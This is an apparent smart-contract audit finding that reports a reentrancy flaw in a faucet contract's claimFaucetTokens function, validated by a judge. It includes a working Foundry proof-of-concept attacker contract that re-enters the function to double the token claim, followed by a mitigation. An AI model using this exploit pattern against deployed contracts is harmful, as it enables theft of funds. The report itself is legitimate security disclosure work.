Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

[H-3] First-time users can re-enter the `claimFaucetTokens` function bypassing the cooldown check, allowing them to double their token claims

[H-3] First-time users can re-enter the claimFaucetTokens function bypassing the cooldown check, allowing them to double their token claims

Description

  • Expected bahaviour Each user should only be allowed to claim 1000 tokens every 3 days.

  • Problematic bahaviour Every first-time user can claim 2000 tokens with every claimFaucetTokens call, bypassing the cooldown period.

Root cause
The state change lastClaimTime[faucetClaimer] = block.timestamp; happens after the low-level ETH call, thus allowing a user to re-enter the function a second time:

function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
@> lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}

Risk

Likelihood: High

  • All first-time users can enter the claimFaucetTokens function twice.

Impact: High

  • The faucet's tokens can be dispensed twice as fast than intended, causing a much quicker drain.

Proof of Concept

As a PoC add the following test in the Foundry test suite and run with forge test --mt test_claimFaucetTokens_CanReenter.

Interface and contract to add:

interface IRaiseBoxFaucet {
function claimFaucetTokens() external;
}
// MaliciousClaimer that exploits re-entrancy vulnerability
contract MaliciousClaimer {
IRaiseBoxFaucet targetContract;
constructor(address _raiseBoxFaucet) {
targetContract = IRaiseBoxFaucet(_raiseBoxFaucet);
}
// attack function used in fallback to enter the claimFaucetTokens a second time
function attack() public {
targetContract.claimFaucetTokens();
}
fallback() external payable {
attack();
}
}

State variable to add in test contract:

MaliciousClaimer maliciousClaimer;

Final test function to add:

function test_claimFaucetTokens_CanReenter() public {
// Deploy MaliciousClaimer contract
maliciousClaimer = new MaliciousClaimer(address(raiseBoxFaucet));
address maliciousClaimerAddress = address(maliciousClaimer);
// Check attacker's token balance before attack (should be zero)
uint256 attackerBalanceBeforeAttack = raiseBoxFaucet.getBalance(maliciousClaimerAddress);
assertTrue(attackerBalanceBeforeAttack == 0, "Attacker already has tokens");
// Check RaiseBoxFaucet contract's token balance before attack
uint256 faucetBalanceBeforeAttack = raiseBoxFaucet.getBalance(raiseBoxFaucetContractAddress) / 1e18;
assertTrue(faucetBalanceBeforeAttack == raiseBoxFaucet.INITIAL_SUPPLY() / 1e18, "Contract token balance is not the initial supply");
// MaliciousClaimer claims tokens + reenters claimFaucetTokens funciton
vm.prank(maliciousClaimerAddress);
raiseBoxFaucet.claimFaucetTokens();
// Attacker's token balance after attack is 2000 instead of 1000
uint256 attackerBalanceAfterAttack = raiseBoxFaucet.getBalance(maliciousClaimerAddress);
assertTrue(attackerBalanceAfterAttack/1e18 == 2000, "Attacker did not manage to re-enter");
// Assert that the RaiseBoxFaucet's token balance has decreased by 2000 tokens
uint256 faucetBalanceAfterAttack = raiseBoxFaucet.getBalance(raiseBoxFaucetContractAddress) / 1e18;
assertTrue(faucetBalanceBeforeAttack - faucetBalanceAfterAttack == 2000, "Faucet tokens have not decreased by 2000");
}

Recommended Mitigation

To mitigate the reentrancy vulnerability move the state change lastClaimTime[faucetClaimer] = block.timestamp; before the low-level call so that the check block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN) guards against users claiming tokens again during cooldown. Alternatively, use the nonReentrant modifier from the OpenZeppelin ReentrancyGuard contract.

function claimFaucetTokens() public {
.
.
.
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
+ lastClaimTime[faucetClaimer] = block.timestamp;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
.
.
.
- lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 15 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.